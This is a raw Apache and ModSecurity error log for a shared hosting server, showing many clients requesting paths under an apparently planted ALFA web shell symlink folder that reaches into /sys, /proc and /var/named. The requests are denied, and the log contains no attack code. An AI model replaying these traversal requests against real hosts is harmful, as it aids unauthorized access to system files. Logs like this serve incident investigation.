[Sun Oct 25 17:46:10.321574 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.234.197.175:13465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/PNP0F13:00/physical_node/subsystem/devices/00:02/"] [unique_id "at54oo-TViadXnIcy1UXRQAAAA0"]
[Sun Oct 25 17:46:10.321630 2026] [security2:error] [pid 2905734:tid 2905734] [client 34.234.197.175:13465] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/PNP0F13:00/physical_node/subsystem/devices/00:02/"] [unique_id "at54oo-TViadXnIcy1UXRQAAAA0"]
[Sun Oct 25 17:46:14.084410 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 172.56.80.130:14643] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/validate
[Sun Oct 25 17:46:15.022286 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 213.204.85.66:48610] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/shrink
[Sun Oct 25 17:46:15.572451 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 47.23.81.190:56909] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/validate
[Sun Oct 25 17:46:18.079924 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 176.29.19.69:21883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/validate
[Sun Oct 25 17:46:19.941035 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 185.191.171.4:52262] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/order
[Sun Oct 25 17:46:30.151046 2026] [core:error] [pid 2907581:tid 2907581] (13)Permission denied: [client 52.4.238.8:12280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input1/device/subsystem/drivers/psmouse/module/uevent
[Sun Oct 25 17:46:42.333398 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 54.197.178.107:39592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:46:46.144316 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 98.83.72.38:34592] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/resource4_wc
[Sun Oct 25 17:46:58.274005 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 100.29.160.53:9839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:47:02.233709 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 52.204.81.148:36703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:47:06.257564 2026] [ssl:error] [pid 2907581:tid 2907581] (70014)End of file found: [client 3.230.69.161:16215] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:47:13.727612 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 195.181.188.210:31449] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/trace
[Sun Oct 25 17:47:14.126733 2026] [authz_core:error] [pid 2905737:tid 2905737] [client 77.239.124.162:59816] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:47:14.255405 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 107.20.224.184:52383] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:47:16.175332 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 190.132.248.47:1433] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/trace
[Sun Oct 25 17:47:19.086289 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 37.243.183.128:3832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/trace
[Sun Oct 25 17:47:31.934413 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 88.179.17.16:7642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/total_objects
[Sun Oct 25 17:47:34.283293 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 188.3.42.231:30468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/total_objects
[Sun Oct 25 17:47:35.683980 2026] [core:error] [pid 2907581:tid 2907581] (13)Permission denied: [client 35.133.201.188:59785] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/poison
[Sun Oct 25 17:47:35.764818 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 174.96.198.94:60299] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/total_objects
[Sun Oct 25 17:47:38.155373 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 44.196.118.6:65000] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:47:38.530032 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 154.71.209.52:45374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/poison
[Sun Oct 25 17:47:40.539884 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 71.65.207.137:44727] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objs_per_slab
[Sun Oct 25 17:47:42.298663 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 44.212.106.171:54930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:47:42.395850 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 24.242.224.126:44463] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objs_per_slab
[Sun Oct 25 17:47:44.208450 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 146.71.0.36:39340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/poison
[Sun Oct 25 17:47:44.254666 2026] [core:error] [pid 2907581:tid 2907581] (13)Permission denied: [client 158.51.148.53:54377] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/objs_per_slab
[Sun Oct 25 17:47:58.142873 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 3.216.86.144:43566] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:02.244379 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 23.23.213.182:65220] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:10/subsystem/drivers/ec/unbind
[Sun Oct 25 17:48:10.168701 2026] [ssl:error] [pid 2906176:tid 2906176] (70014)End of file found: [client 18.213.70.100:62335] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:11.938119 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 38.226.100.150:23488] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slabs_cpu_partial
[Sun Oct 25 17:48:13.822346 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 189.139.132.149:38612] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/slabs_cpu_partial
[Sun Oct 25 17:48:14.126753 2026] [ssl:error] [pid 2905736:tid 2905736] (70014)End of file found: [client 50.16.216.166:45009] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:17.926059 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 45.229.138.87:55270] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/partial
[Sun Oct 25 17:48:18.235149 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 52.71.216.196:4117] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:21.093831 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 45.184.110.129:17142] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/partial
[Sun Oct 25 17:48:22.143837 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 35.171.117.160:33320] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:23.409320 2026] [core:error] [pid 2906176:tid 2906176] (13)Permission denied: [client 91.109.163.26:61624] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/partial
[Sun Oct 25 17:48:25.611267 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 173.255.160.113:46487] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/reclaim_account
[Sun Oct 25 17:48:26.136549 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.217.82.254:46951] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:26.656119 2026] [core:error] [pid 2907640:tid 2907640] (13)Permission denied: [client 181.118.45.235:49143] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/object_size
[Sun Oct 25 17:48:28.716866 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 165.162.110.18:44838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/object_size
[Sun Oct 25 17:48:29.044934 2026] [core:error] [pid 2905723:tid 2905723] (13)Permission denied: [client 190.190.133.74:48712] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/reclaim_account
[Sun Oct 25 17:48:31.777488 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 212.81.52.154:34546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/object_size
[Sun Oct 25 17:48:32.718494 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 35.145.23.77:34357] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/reclaim_account
[Sun Oct 25 17:48:34.216867 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 18.205.127.11:10676] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:38.126773 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 54.204.12.115:38803] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty21/subsystem/tty1/subsystem/ttyS0/iomem_reg_shift
[Sun Oct 25 17:48:46.207118 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 35.168.238.50:33323] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:48:50.534670 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 38.188.55.28:46638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/total_objects
[Sun Oct 25 17:48:54.341664 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 3.217.171.106:7260] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:49:00.699866 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 38.171.5.29:51642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/total_objects
[Sun Oct 25 17:49:02.204782 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 44.193.102.198:3653] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:49:14.156126 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 44.206.65.8:54891] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:49:15.862250 2026] [security2:error] [pid 2897967:tid 2897967] [client 43.130.228.73:57082] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/bases4/"] [unique_id "at55WxVtY6H0wJd2uaILGwAAADA"]
[Sun Oct 25 17:49:18.250514 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 3.216.13.10:26713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:49:22.132904 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 44.218.6.93:33066] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:49:22.504875 2026] [security2:error] [pid 2904910:tid 2904910] [client 107.172.76.131:64936] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at55VvgXQ78FHGC5xxdTsAAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:49:22.504921 2026] [security2:error] [pid 2904910:tid 2904910] [client 107.172.76.131:64936] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at55VvgXQ78FHGC5xxdTsAAAAA4"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:49:30.137487 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 52.73.6.26:24252] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:49:38.279321 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 52.7.33.248:34412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:49:54.162010 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 44.223.232.55:18838] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty26/subsystem/ttyS2/type
[Sun Oct 25 17:50:00.045986 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 85.208.96.194:21834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/validate
[Sun Oct 25 17:50:25.910541 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 190.61.41.165:59638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/object_size
[Sun Oct 25 17:50:35.215380 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 49.205.145.203:44442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-280/object_size
[Sun Oct 25 17:50:38.201628 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 98.83.72.38:5678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input1/device/driver/unbind
[Sun Oct 25 17:50:45.813598 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 191.96.227.196:59197] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/objects_partial
[Sun Oct 25 17:50:46.168533 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 184.72.95.195:7957] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/var/named/hestiacp.5gspeedservice.com.db
[Sun Oct 25 17:50:49.201374 2026] [core:error] [pid 2905725:tid 2905725] (13)Permission denied: [client 196.250.93.115:30004] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_prealloc_space/objects_partial
[Sun Oct 25 17:51:02.131030 2026] [ssl:error] [pid 2905725:tid 2905725] (95)Operation not supported: [client 3.89.176.255:14779] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:51:02.131290 2026] [security2:error] [pid 2905725:tid 2905725] [client 3.89.176.255:14779] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/net/lo/phys_port_name"] [unique_id "at55xrrRAalcUwXTJ1FlPgAAAAg"]
[Sun Oct 25 17:51:02.131321 2026] [security2:error] [pid 2905725:tid 2905725] [client 3.89.176.255:14779] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/net/lo/phys_port_name"] [unique_id "at55xrrRAalcUwXTJ1FlPgAAAAg"]
[Sun Oct 25 17:51:06.261043 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 18.204.89.56:56014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/kernel/slab/sock_inode_cache/aliases
[Sun Oct 25 17:51:14.124609 2026] [ssl:error] [pid 2899542:tid 2899542] (70014)End of file found: [client 3.213.85.234:2962] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:51:28.120994 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 188.225.122.54:1442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/sanity_checks
[Sun Oct 25 17:51:31.859013 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 193.107.171.158:60920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/sanity_checks
[Sun Oct 25 17:51:33.717791 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 109.239.220.195:50034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/sanity_checks
[Sun Oct 25 17:51:34.207543 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 52.5.242.243:24585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:51:38.155007 2026] [core:error] [pid 2899542:tid 2899542] (13)Permission denied: [client 3.216.13.10:34231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input1/device/driver/serio0/subsystem/devices/serio1/driver/module/uevent
[Sun Oct 25 17:51:42.163680 2026] [ssl:error] [pid 2905737:tid 2905737] (70014)End of file found: [client 3.94.156.104:6842] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:51:46.148095 2026] [ssl:error] [pid 2905737:tid 2905737] (5)Input/output error: [client 34.225.87.80:44584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:51:50.132135 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 100.29.160.53:32278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:51:59.000741 2026] [authz_core:error] [pid 2899542:tid 2899542] [client 34.198.189.65:43045] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 17:52:02.153064 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 52.204.71.8:19745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:10.181287 2026] [ssl:error] [pid 2897949:tid 2897949] (70014)End of file found: [client 54.209.100.30:29545] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:16.334441 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 196.207.222.200:1883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/slabs_cpu_partial
[Sun Oct 25 17:52:18.328597 2026] [ssl:error] [pid 2905725:tid 2905725] (70014)End of file found: [client 44.195.145.102:2446] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:21.389850 2026] [core:error] [pid 2897949:tid 2897949] (13)Permission denied: [client 190.141.120.175:7479] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/slabs_cpu_partial
[Sun Oct 25 17:52:23.078592 2026] [core:error] [pid 2897967:tid 2897967] (13)Permission denied: [client 208.161.151.125:36919] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/slabs_cpu_partial
[Sun Oct 25 17:52:30.151309 2026] [ssl:error] [pid 2906289:tid 2906289] (70014)End of file found: [client 50.19.79.213:30824] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:34.147743 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 98.82.66.172:17019] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:38.140469 2026] [ssl:error] [pid 2905734:tid 2905734] (70014)End of file found: [client 98.80.130.239:40673] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:46.139056 2026] [ssl:error] [pid 2905736:tid 2905736] (70014)End of file found: [client 52.203.152.231:41966] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:50.161621 2026] [ssl:error] [pid 2907581:tid 2907581] (70014)End of file found: [client 44.209.187.99:3139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:53.375526 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 94.249.4.135:43366] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/trace
[Sun Oct 25 17:52:54.127440 2026] [ssl:error] [pid 2907640:tid 2907640] (70014)End of file found: [client 184.72.84.154:27374] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:52:55.382381 2026] [core:error] [pid 2905736:tid 2905736] (13)Permission denied: [client 174.96.186.142:53487] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/trace
[Sun Oct 25 17:52:57.632542 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 212.34.23.35:43926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/trace
[Sun Oct 25 17:53:02.151241 2026] [ssl:error] [pid 2897967:tid 2897967] (70014)End of file found: [client 23.23.212.212:34619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:06.167870 2026] [ssl:error] [pid 2907581:tid 2907581] (70014)End of file found: [client 3.211.105.134:10559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:10.156716 2026] [ssl:error] [pid 2908033:tid 2908033] (70014)End of file found: [client 34.206.249.188:57716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:14.137901 2026] [ssl:error] [pid 2907581:tid 2907581] (70014)End of file found: [client 54.84.102.81:60203] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:23.840811 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 185.200.249.202:45722] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/partial
[Sun Oct 25 17:53:26.152001 2026] [ssl:error] [pid 2908033:tid 2908033] (70014)End of file found: [client 3.225.45.252:28834] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:34.135560 2026] [core:error] [pid 2906289:tid 2906289] (13)Permission denied: [client 18.205.213.231:58242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0d/subsystem/devices/device:02/physical_node/rescan
[Sun Oct 25 17:53:38.153768 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 44.206.65.8:34820] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:41.029985 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 148.252.145.124:18469] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/sanity_checks
[Sun Oct 25 17:53:41.030484 2026] [security2:error] [pid 2908033:tid 2908033] [client 148.252.145.124:18469] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/sanity_checks"] [unique_id "at56ZV31HWF0TpUcFcmz_gAAAAQ"]
[Sun Oct 25 17:53:41.030515 2026] [security2:error] [pid 2908033:tid 2908033] [client 148.252.145.124:18469] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/sanity_checks"] [unique_id "at56ZV31HWF0TpUcFcmz_gAAAAQ"]
[Sun Oct 25 17:53:42.152672 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 184.73.68.20:60085] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input5/device/subsystem/drivers/alarmtimer/bind
[Sun Oct 25 17:53:43.058169 2026] [core:error] [pid 2905737:tid 2905737] (13)Permission denied: [client 24.125.202.110:42973] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/objects
[Sun Oct 25 17:53:44.108149 2026] [core:error] [pid 2907581:tid 2907581] (13)Permission denied: [client 193.106.48.219:60773] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/sanity_checks
[Sun Oct 25 17:53:46.506091 2026] [core:error] [pid 2908033:tid 2908033] (13)Permission denied: [client 3.219.80.71:41040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/PNP0303:00/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/remove
[Sun Oct 25 17:53:48.275344 2026] [core:error] [pid 2905734:tid 2905734] (13)Permission denied: [client 102.17.239.38:36132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_delay_info/sanity_checks
[Sun Oct 25 17:53:54.220869 2026] [ssl:error] [pid 2905723:tid 2905723] (70014)End of file found: [client 52.71.216.196:43529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:53:54.287942 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 187.14.116.157:60252] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/objects
